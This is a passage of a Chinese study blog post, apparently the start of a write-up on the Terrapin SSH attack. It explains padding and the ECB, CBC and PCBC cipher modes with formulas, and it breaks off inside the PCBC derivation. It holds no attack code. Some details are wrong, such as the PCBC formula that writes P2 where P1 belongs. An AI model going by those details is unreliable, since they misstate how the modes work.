    <content type="html"><![CDATA[<p>Terrapin Attack 漏洞是由<a href="https://terrapin-attack.com/">这边的几个安全研究员</a>提出的漏洞模型，这个漏洞有一阵子特别火，所以我特别想好好的研究一下，然而这个漏洞（的背景）相当的复杂，得从一些密码学相关的前置知识慢慢学习，这边先简单的把基础知识给过一遍</p><span id="more"></span><h2 id="ssh-前置知识学习">SSH 前置知识学习</h2><p>整个加密中扯到了相当多的密码学知识，这边从一开始的部分开始讲起</p><h2 id="密码学前置知识">密码学前置知识</h2><p>加密算法本身在网上有非常多的优秀资料。这边仅对部分信息进行展开叙述。<br>以AES为例，AES的加密算法至今为止还是非常稳定的，然而这类算法称作<strong>块加密算法</strong>（与之相对的还有流加密算法），其作用的对象仅针对<code>128bit|16bytes 192bit|24bytes 256bit|32bytes</code>这三种长度的数据进行加密。而现实中待加密的数据总是非常的长，这就需要对原数据进行一定的处理。这种不同的处理方式通常称作<strong>块加密模式<code>(Block cipher mode)</code></strong>，为了方便，在本文称作<strong>加密模式</strong></p><h3 id="加密模式">加密模式</h3><p>在讨论加密模式的时候，我们通常有以下约定俗称的称呼：</p><ul><li>块（Block）：表示当前加密的最小单位</li><li>IV（Initialization Vector）：初始化向量，通常与一个Block长度相等。有时候也用于指代由密文生成的参与运算的向量</li><li>Padding：结尾的填充字符串</li><li>Nonce：随机数。这个词在讨论加解密的时候经常使用</li></ul><h4 id="padding">Padding</h4><p>当我们尝试对一个比较长的数据进行加密的时候，需要将数据按照Block大小切分。通常来说，切分的大小都是4字节对齐，然而我们输入的字符根本不能保证长度一定是4的倍数，这个时候程序往往会给数据的末尾增加一些字符用作Padding，例如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ThisIsAPassword\0x01</span><br></pre></td></tr></table></figure><p>其中，这里的<code>\x01</code>正好组成了字符串结尾的最后一个字符，并且这个字符数字是1，表示当前的字符的padding长度为1。这样当解密完成后，程序就会根据padding抛弃最后的字符，得到完整的字符串，上述例子中即为<code>ThisIsAPassword</code>。当然，这也只是一种约定，作为开发者也可以通过约定，告诉用户<strong>你的输入必须要满足为XX的倍数，否则就出错</strong>，我们提到的这种padding方式可以在<a href="https://datatracker.ietf.org/doc/html/rfc2040">RFC2040</a>这里看到。</p><h4 id="ecb-electronic-codebook">ECB（Electronic codebook）</h4><p>根据前文可知，当遇到多余的字符时，可以使用padding来描述（或者直接要求用户输入为Block对齐）。那现在我们就需要一个方式来进行处理不同的Block，最简单的思路就是直接切分。例如下面的字符串:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FirstPartAAAAAAASecondPartBBBBBB</span><br></pre></td></tr></table></figure><p>加密的时候，简单的分解成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FirstPartAAAAAAA SecondPartBBBBBB</span><br></pre></td></tr></table></figure><p>这样进行加密即可。这种加密方式叫做<strong>电子密码本</strong>加密模式<code>ECB(Electronic Codebook)</code>。加密方式如下图:<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc01.png" alt=""></p><p>加密的时候，使用同一个密钥key，将切割后的字符串进行加密。这种加密方法还有几个比较有趣的好处：</p><ul><li>由于加解密同时发生，所以可以异步发生</li><li>加解密的时候可以从任意位置开始</li></ul><p><em>其实在现实场景中，除了加密的可靠性，效率也是非常值得考虑的一点。甚至在某些场景下，牺牲一定程度的安全性也是可以被允许的，为了安全而抛弃效率其实是一种过于理想化的状态。</em></p><h4 id="cbc-chain-block-cipher">CBC（Chain Block Cipher）</h4><p>然而，其实有心人稍加考虑就会发现ECB有许多问题：</p><ul><li>当攻击者知道被加密的数据大致范围的时候，会很容的爆破</li><li>加密数据混淆程度不高</li></ul><p>实际上，<a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation">wiki</a>中有给出ECB加密算法的一个极端例子：<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc02.png" alt=""></p><p>可以看到，被ECB加密的图片能看到大致的形状。现实中，如果我们企图猜测某个用户输入的密钥，并且知道一个大致的输入范围的话，爆破起来将会非常快，此时的ECB模式就会失去应有的作用。<br>在这个背景之下，就提出了一种叫做<strong>链式块加密</strong>CBC的加密模式。这种模式的加密流程如下:<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc03.png" alt=""></p><p>此时能看到其格式大致如下:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>i</mi></msub><mo>=</mo><mi>E</mi><mi>n</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>P</mi><mi>i</mi></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">C_i = Enc(P_i{\oplus} C_{i-1})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>其中当i=0的时候，有以下特殊情况</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>0</mn></msub><mo>=</mo><mi>E</mi><mi>n</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>P</mi><mn>0</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><mi>I</mi><mi>V</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">C_0 = Enc(P_0{\oplus} IV)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="mclose">)</span></span></span></span></span></p><p>IV为需要用户指定的一个输入长度的字符。<br>这种加密方式与ECB相比，有以下几个好处：</p><ul><li>第i个密文会受到前面i-1个所有密文的影响，这就导致特征变得不明显</li><li>即使密钥和明文一定，只要IV发生变化，密文也会发生变化</li><li>解密的时候，由于只依赖密文，所以解密步骤依然可以异步指型</li></ul><p>此时，解密的时候则需要将上述的流程进行相反的处理：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mi>i</mi></msub><mo>=</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub></mrow><annotation encoding="application/x-tex">P_i = Dec(C_i){\oplus} C_{i-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>这种方式为一种比较主流的加密方式。然而其还是有一点缺点：</p><ul><li>当解密的时候，IV出错只会影响第一个数据块（因为解密的时候，异或步骤依赖的是密文而非明文）</li><li>由于加密的时候依赖上一个状态，此时加密为非并行</li></ul><h4 id="pcbc-propagating-chain-block-cipher">PCBC（Propagating Chain Block Cipher）</h4><p>上文提到，CBC有一个还算致命的问题，就是IV即使出错了，也只影响一个数据块。所以提出了一种新的加密方式：PCBC，这种方式的加密如图：<br><img src="/2024/01/21/Terrapin-Attack-%E5%AD%A6%E4%B9%A0/enc04.png" alt=""></p><p>可以注意到，此时多了一个异或的操作。也就是说，加密算法改成了:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>i</mi></msub><mo>=</mo><mi>E</mi><mi>n</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>P</mi><mi>i</mi></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>P</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo stretchy="false">)</mo><mo separator="true">,</mo><msub><mi>P</mi><mn>0</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mn>0</mn></msub><mo>=</mo><mi>I</mi><mi>V</mi></mrow><annotation encoding="application/x-tex">C_i = Enc(P_i{\oplus} C_{i-1}{\oplus}P_{i-1}),P_0{\oplus}C_0=IV</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="mord mathdefault" style="margin-right:0.22222em;">V</span></span></span></span></span></p><p>这样一来，只要IV出错，错误就可以传播给每一个密文。然而这样一改，又引入了新的问题：</p><ul><li>由于强依赖上一个状态，此时的加解密都无法异步</li><li>相邻的密文块如果发生颠倒，此时的解密逻辑不受到影响</li></ul><p>论证：<br>假设此时存在三个block，分别为0，1，2.此时已知</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub><mo>=</mo><mi>E</mi><mi>n</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>P</mi><mn>2</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mn>1</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>P</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mspace linebreak="newline"></mspace><msub><mi>C</mi><mn>1</mn></msub><mo>=</mo><mi>E</mi><mi>n</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>P</mi><mn>2</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mn>0</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>P</mi><mn>0</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">C_2 = Enc(P_2{\oplus}C_{1}{\oplus}P_1) \\ C_1= Enc(P_2{\oplus}C_{0}{\oplus}P_0)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="mord mathdefault">n</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>则</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mn>2</mn></msub><mo>=</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mn>1</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>P</mi><mn>1</mn></msub><mo>=</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mn>1</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><mi>D</mi><mi>e</mi><mi>c</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>C</mi><mn>0</mn></msub><mo lspace="0em" rspace="0em">⊕</mo><mi>I</mi><mi>V</mi></mrow><annotation encoding="application/x-tex">P_2 = Dec(C_2){\oplus}C_1{\oplus}P_1 = Dec(C_2){\oplus}C_1{\oplus}Dec(C_1){\oplus}C_0{\oplus}IV</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span 